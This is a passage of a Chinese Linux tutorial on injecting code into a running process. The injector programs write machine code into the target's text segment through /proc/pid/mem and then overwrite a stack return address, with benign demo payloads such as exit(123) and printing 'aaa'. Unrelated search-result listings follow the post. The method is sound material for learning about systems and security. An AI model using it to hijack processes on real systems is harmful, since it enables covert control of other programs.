    [root@localhost test]#
    

    效果不错。

    接下来让我们把一段独立的代码注入到一个已经运行的进程:

    // pokestack.c
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	__asm("mov $123, %rdi\n"); // 这句是为了导出exit系统调用参数123的指令码。。。
    	while (1) {
    		printf("pid:%d\n", getpid());
    		sleep(120);
    	}
    }
    

    导出stack的信息:

    [root@localhost test]# cat /proc/6033/smaps |grep -E -A2 \\[stack\\]
    7ffe66868000-7ffe66889000 rw-p 00000000 00:00 0                          [stack]
    Size:                136 kB
    Rss:                  16 kB
    

    注意,stack没有可执行权限,所以要在binary的text段进行注入。

    如果stack可执行,那么事情就会简单的多,直接将要注入的代码覆盖stack的起始位置就好了(由于stack从高向低伸展,一般伸展不到这么远的地方),让stack变得可执行也不是那么困难,用下面的方式编译即可:

    [root@localhost test]# gcc -O0 -z execstack  pokestack.c -o pokestack
    

    但是这里为了让事情更加真实,不采用这个伎俩,在真实的环境中,也几乎没有让stack可执行的。

    现在我们看一下binary的text段信息:

    [root@localhost test]# cat /proc/6033/smaps |grep -A2 r-xp.*pokestack
    00400000-00401000 r-xp 00000000 fd:00 75346995                           /usr/test/pokestack
    Size:                  4 kB
    Rss:                   4 kB
    

    下面是实施注入的代码:

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	char name[32];
    	int fd;
    	int pid;
    	unsigned long caddr, raddr;
    	unsigned long ret_addr;
    	// code 仅仅是一个exit(123)的系统调用
    	char code[14] = {0x48, 0xc7, 0xc7, 0x7b, 0x00, 0x00, 0x00, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05};
    
    	pid = atoi(argv[1]);
    	caddr = strtoul(argv[2], NULL, 16);
    	raddr = strtoul(argv[3], NULL, 16);
    
    	sprintf(name, "/proc/%d/mem", pid);
    	fd = open(name, O_RDWR);
    
    	lseek(fd, caddr, SEEK_SET);
    	write(fd, &code, sizeof(code));
    
    	lseek(fd, raddr, SEEK_SET);
    	write(fd, &caddr, sizeof(caddr));
    }
    

    不再解释代码,我们直接看效果:

    # 0x7FFE66887998依然是用dd方法导出的stack找到的return address地址位置。
    [root@localhost test]# ./a.out 6033 0x00400000 0x7FFE66887998
    

    看看6033号进程的结局:

    [root@localhost test]# ./pokestack
    pid:6033
    [root@localhost test]# echo $?
    123
    

    成功以123退出。

    下面,我们来个打印怎么样?来打印一堆a。

    我们需要注入printf的调用,然而一般都是用相对偏移调用的call,校准的过程并不容易,因此我们采用下面的方法:

    push printf@GLIBC
    ret
    

    然而printf何在?于是乎,先简单一点,我们直接调用write系统调用。

    先看原始代码:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	while (1) {
    		printf("pid:%d\n", getpid());
    		getchar();
    	}
    }
    

    跑起来:

    [root@localhost test]# ./pokestack
    pid:14917
    
    pid:14917
    ... # 继续敲任意键,依然会getchar,这就是个死循环
    

    一步一步地获取信息:

    [root@localhost test]# cat /proc/14917/smaps |grep -E \\[stack\\]
    7ffc08ac1000-7ffc08ae2000 rw-p 00000000 00:00 0                          [stack]
    [root@localhost test]# dd if=/proc/14917/mem of=./pokestack.dd skip=140720453980160 bs=1 count=557056
    [root@localhost test]# hexdump ./pokestack.dd >./pokestack.hex
    ...
    

    在pokestack.hex里找到了下面的行:

    001f4a0 0000 0000 0000 0000 05dc 0040 0000 0000
    

    拼接偏移:

    0x7ffc08ac1000 + 0x001f4a0 + 0x08 = 0x7FFDF4F9E818
    

    来制作我们的注入code并且实施注入,下面是代码:

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	char name[32];
    	int fd;
    	int pid;
    	unsigned long caddr, raddr;
    	unsigned long ret_addr;
    	char code[58] = {/*0x00*/ 0x61, 0x61, 0x61, 0x0a,
    					 /*0x04*/ 0x00, 0x00, 0x00, 0x00,
    					 /*0x08*/ 0x00, 0x00, 0x00, 0x00,
    					 /*0x0c*/ 0x00, 0x00, 0x00, 0x00,
    					 /*0x10*/ 0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, // mov 1, rdi
    					 		  0x48, 0xc7, 0xc6, 0x00, 0x00, 0x40, 0x00, // mov 400000, rsi
    					 		  0x48, 0xc7, 0xc2, 0x04, 0x00, 0x00, 0x00, // mov 4, rdx
    							  0xb8, 0x01, 0x00, 0x00, 0x00,				// mov 1, eax
    					 		  0x0f, 0x05,						// write syscall
    							  0x48, 0xc7, 0xc7, 0x7b, 0x00, 0x00, 0x00, // mov 123, rdi
    							  0xb8, 0x3c, 0x00, 0x00, 0x00, 			// mov 60, eax
    							  0x0f, 0x05};						// exit syscall
    
    	pid = atoi(argv[1]);
    	caddr = strtoul(argv[2], NULL, 16);
    	raddr = strtoul(argv[3], NULL, 16);
    
    	sprintf(name, "/proc/%d/mem", pid);
    	fd = open(name, O_RDWR);
    
    	lseek(fd, caddr, SEEK_SET);
    	write(fd, &code[0], sizeof(code));
    
    	caddr += 0x10; // 从mov 1, rdi开始执行
    	lseek(fd, raddr, SEEK_SET);
    	write(fd, &caddr, sizeof(caddr));
    }
    

    来实施注入:

    [root@localhost test]# ./a.out 14917 0x00400000 0x7FFC08AE04A8
    

    看效果:

    [root@localhost test]# ./pokestack
    pid:14917
    
    pid:14917
    
    aaa
    [root@localhost test]# echo $?
    123
    [root@localhost test]#
    

    不错,跳出了死循环并以123退出。

    是不是比ptrace好玩呢?

    我们还是希望可以直接调用GLIBC的库函数,而不是直接调用系统调用,其实这并不难。

    先看下面的代码:

    #include <stdio.h>
    char abc1[] = "aaaa\n";
    int main()
    {
    	printf("\n\n"); // 为了让该程序加载时解析到printf函数
    	__asm("mov $0x000000000060102c, %rdi"); // abc1的地址给rdi寄存器作为参数
    	__asm("push $0x40053d"); // main函数_asm("ret")后面的位置
    	__asm("push $0x0000000000400400"); // printf的位置
    	__asm("ret");
    }
    

    其中的数字都是从objdump里手工找到的。

    执行一下试试看,看是不是打印出了aaaa呢。

    我们就用此方法来实施注入,还是原来的那个程序,我再贴一遍:

    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	while (1) {
    		printf("pid:%d\n", getpid());
    		getchar();
    	}
    }
    

    跑起来:

    [root@localhost test]# ./pokestack
    pid:28814
    
    pid:28814
    ... # 继续敲任意键,依然会getchar,这就是个死循环
    

    获取信息:

    [root@localhost test]# cat /proc/28814/smaps |grep \\[stack\\]
    7fff155c8000-7fff155e9000 rw-p 00000000 00:00 0                          [stack]
    [root@localhost test]# dd if=/proc/28814/mem of=./pokestack.dd skip=140733551771648 bs=1 count=557056
    记录了135168+0 的读入
    记录了135168+0 的写出
    135168字节(135 kB)已复制,0.150816 秒,896 kB/秒
    [root@localhost test]# hexdump ./pokestack.dd >./pokestack.hex
    ...
    

    下面是实现注入代码:

    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    
    int main(int argc, char **argv)
    {
    	char name[32];
    	int fd;
    	int pid;
    	unsigned long caddr, raddr;
    	unsigned long ret_addr;
    	char code[48] = {/*0x00*/ 0x0a, 0x61, 0x61, 0x0a,
    					 /*0x04*/ 0x00, 0x00, 0x00, 0x00,
    					 /*0x08*/ 0x00, 0x00, 0x00, 0x00,
    					 /*0x0c*/ 0x00, 0x00, 0x00, 0x00,
    					 /*0x10*/ 0x48, 0xc7, 0xc7, 0x7b, 0x00, 0x00, 0x00, // mov 123, rdi
    							  0xb8, 0x3c, 0x00, 0x00, 0x00, 			// mov 60, eax
    							  0x0f, 0x05,								// exit syscall
    							  0x48, 0xc7, 0xc7, 0x00, 0x00, 0x40, 0x00,
    					 		  0x68, 0x10, 0x00, 0x40, 0x00,
    					 		  0x68, 0x80, 0x04, 0x40, 0x00,
    							  0xc3};
    
    	pid = atoi(argv[1]);
    	caddr = strtoul(argv[2], NULL, 16);
    	raddr = strtoul(argv[3], NULL, 16);
    
    	sprintf(name, "/proc/%d/mem", pid);
    	fd = open(name, O_RDWR);
    
    	lseek(fd, caddr, SEEK_SET);
    	write(fd, &code[0], sizeof(code));
    
    	caddr += 30; // 从0x48, 0xc7, 0xc7开始
    	lseek(fd, raddr, SEEK_SET);
    	write(fd, &caddr, sizeof(caddr));
    }
    

    实施注入:

    [root@localhost test]# ./a.out 28814 0x00400000 0x7FFF155E66D8
    

    看28814号进程的结局:

    pid:28814
    
    
    aa
    [root@localhost test]# echo $?
    123
    [root@localhost test]#
    


    如此一来,利用这种机制,Linux是不是也可以像Windows那样CreateRemoteThread呢?当然是可以的,只要插入一些fork/clone的调用即可了,另外mmap/brk也是需要的,这种操作必须在进程自己的上下文中执行,因此也就必然要注入咯。

    有人会说,这个和ROP貌似有点关联,其实没什么关联,ROP只是一种栈编程的套路而已,那是一件具体的事情,我这里介绍的是一个修改进程地址空间的通用方法,仅此而已。

    感谢procfs导出了/proc/$pid/mem文件。


    浙江温州皮鞋湿,下雨进水不会胖。

    展开全文
  • Java面试题大全(2020版)

    万次阅读 多人点赞 2019-11-26 11:59:06
    // true 代码解读:因为 x 和 y 指向的是同一个引用,所以 == 也是 true,而 new String()方法则重写开辟了内存空间,所以 == 结果为 false,而 equals 比较的一直是值,所以结果都为 true。 equals 解读 equals ...
  • 代码注入的三种方式

    万次阅读 2018-02-28 16:40:52
    WriteProcessMemory 技术――如何用该技术子类化远程控件――何时使用 CreateRemoteThread 和 WriteProcessMemory 技术结束语附录A附录B附录C附录D附录E附录F参考资料简介本文将讨论如何把代码注入不...
  • MyBatis面试题(2020最新版)

    万次阅读 多人点赞 2019-09-24 16:40:33
    整理好的MyBatis面试题库,史上最全的MyBatis面试题,...MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集。MyBatis 可以使用简单的 XML 或注解来配置和映射原生类型、接口和 Java 的 POJO(Plai...
  • 第五课 代码注入(C语言)

    千次阅读 2018-09-04 21:18:42
    下面用一个代码注入示例向notepad.exe进程注入简单的代码,注入后会弹出消息框,显示消息 首先,运行notepad.exe 查看notepad.exe的PID,我这里显示的是2608 · 在cmd窗口中运行CodeInjection.exe 并输入命令与...
  • 2020年 IOS 逆向 反编译 注入修改游戏或APP的调用参数新手系列教程——使用theos tweak 注入hook修改游戏执行代码上传动态头像开篇需求&最终效果bfinject对正在运行的APP脱壳打包成.ipa注入自己的动态...
  • linux 系统调用详解

    千次阅读 2014-09-05 17:27:35
    它可以使用多个系统调用构造出一个API,也可以一个系统调用被多个API使用,同时API也不可以使用系统调用,Linux的API有别于ucos操作系统的API,后者直接调用API函数进行静态连接,系统代码也连接到API中。...
  • Ptrace–Linux中一种代码注入技术的应用
  • 用户地址空间和内核地址空间每个进程都会有一个固定大小的虚拟地址空间,大小较固定,视操作系统位数而...但每个程序又会因系统调用或中断而陷入内核执行内核的操作。为了安全,我们就把虚拟地址空间划分出一块独立的部
  • Spring

    千次阅读 多人点赞 2020-02-04 17:41:35
    依赖注入? 文章目录1.Spring1.1搭建 Spring 运行时环境1.2HelloWorld2.spring IOC&DI3.Spring AOP4.Spring事务什么叫延迟加载? 1.Spring 1.1搭建 Spring 运行时环境 加入 JAR 包 在 Spring Tool ...
  • 本文转载自:https://blog.csdn.net/xuplus/article/details/36051337一、DLL注入DLL的远程注入技术是目前Win...使用这种技术的病毒体通常位于一个DLL中,在系统启动的时候,一个EXE程序会将这个DLL加载至某些系统进...
  • JAVA上百实例源码以及开源项目

    千次下载 热门讨论 2016-01-03 17:37:40
     在对象创建的过程中将被容器调用,onMessage函数方法接收消息参数,将其强制转型为合适的消息类型,同时打印出消息的内容。同时一个mail note将被发送给消息发送者,发送一个e-mail通知给由recipient参数确定的e-...
  • Linux系统调用Hook姿势总结

    万次阅读 2016-03-24 19:31:00
    对于这类劫持攻击,目前常见的做法是fireeye的"函数返回地址污点检测",通过对原有指令返回位置的汇编代码作污点标记,通过查找jmp,push ret等指令来进行防御 我们知道实现一个系统调用的函数中一定会递归的嵌套有...
  • Hook android系统调用研究(一)

    千次阅读 2017-02-20 18:43:47
    一、Android内核源码的编译环境 系统环境:Ubuntu 14.04 Android系统版本:Android 4.4.4 r1 ...研究Android系统调用的目的: Android的内核是逆向工程师的好伙伴。虽然常规的Android应用被限制和沙盒化,
  • DLL注入和代码注入心得

    千次阅读 2018-02-06 17:45:16
    预备知识 ...举个例子:键盘消息:用户从键盘上输入消息WM_KEYDOWN,os系统接收到后将消息放到 操作系统消息队列中,操作系统判断哪个应用程序中发生了事件,将操作系统消息队列中的键盘上输入消息
  • [ptrace修改内存]实现进程代码注入

    千次阅读 2018-09-26 08:50:32
    ptrace是Unix系列系统的系统调用之一。其主要功能是实现对进程的追踪。对目标进程,进行流程控制,用户寄存器值读取&amp;amp;amp;amp;amp;amp;amp;amp;写入操作,内存进行读取&amp;amp;amp;amp;amp;amp;amp;...
  • Smali代码注入

    千次阅读 2014-05-21 19:01:03
     Smali代码注入只能应对函数级别的移植,对于类级别的移植是无能为力的。具体的说,如果你想修改一个类的继承、包含关系,接口结构等是非常困难的。但对于修改类成员变量访问控制权限,类方法实现,Smali代码注入的...
  • spring面试题和答案

    千次阅读 多人点赞 2018-09-18 16:21:35
    69道Spring面试题和答案 ... 依赖注入 Spring beans Spring注解 Spring数据访问 Spring面向切面编程(AOP) Spring MVC Spring 概述 1. 什么是spring? Spring 是个java企业级应用的开源开发框架。Sp...
  • 前段时间从完成“实时获取系统中TCP半连接数量”这个永远无法上线的半吊子需求开始,一发不可收拾地栽进了Rootkit深坑,有点走火入魔,写了好多篇这方面的随笔并结识了很多朋友,感觉不错。 前面的系列文章中,...
  • 史上最全面Java面试汇总(面试题+答案)

    万次阅读 多人点赞 2018-07-06 14:09:25
    修饰一个代码块,被修饰的代码块称为同步语句块,其作用的范围是大括号{}括起来的代码,作用的对象是调用这个代码块的对象; 2). 修饰一个方法,被修饰的方法称为同步方法,其作用的范围是整个方法,作用的对象是...
  • 对外发布接口时,为保证系统的可扩展性要求,实现接口通过参数能动态的调用某个实现类的功能 目录结构: Appconfig.java package com.lz.config; import org.springframework.context.annotation.ComponentScan; @...
  • [web安全] 代码注入(命令注入)

    万次阅读 2015-05-14 09:59:40
    存在代码注入漏洞的地方,与“后门”没有区别。 PHP,JSP的动态include(文件包含漏洞)导致的代码执行,都可以算是一种代码注入。 一、代码注入 $myvar = "varname"; $x = $_GET['arg']; eval("\$myvar = $x;");...
  •  在i386体系中(本文中所有的代码都是面向i386体系),系统调用号将放入%eax,它的参数则依次放入%ebx, %ecx, %edx, %esi 和 %edi。 比如,在以下的调用  Write(2, “Hello”, 5)的汇编形式大概是这样的 ...
  • 代码注入之远程线程篇

    千次阅读 2016-04-10 18:04:56
    第二种是直接将所要执行的代码全部拷贝到宿主进程中,即代码远程注入技术; 第三种则是 DLL 的远程注入技术了,其通过 在宿主进程加载自己写的另外的一个 DLL 来实现注入; 然后在我的这篇博文中,我也只是...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 114,604
精华内容 45,841
关键字:

参数系统调用代码注入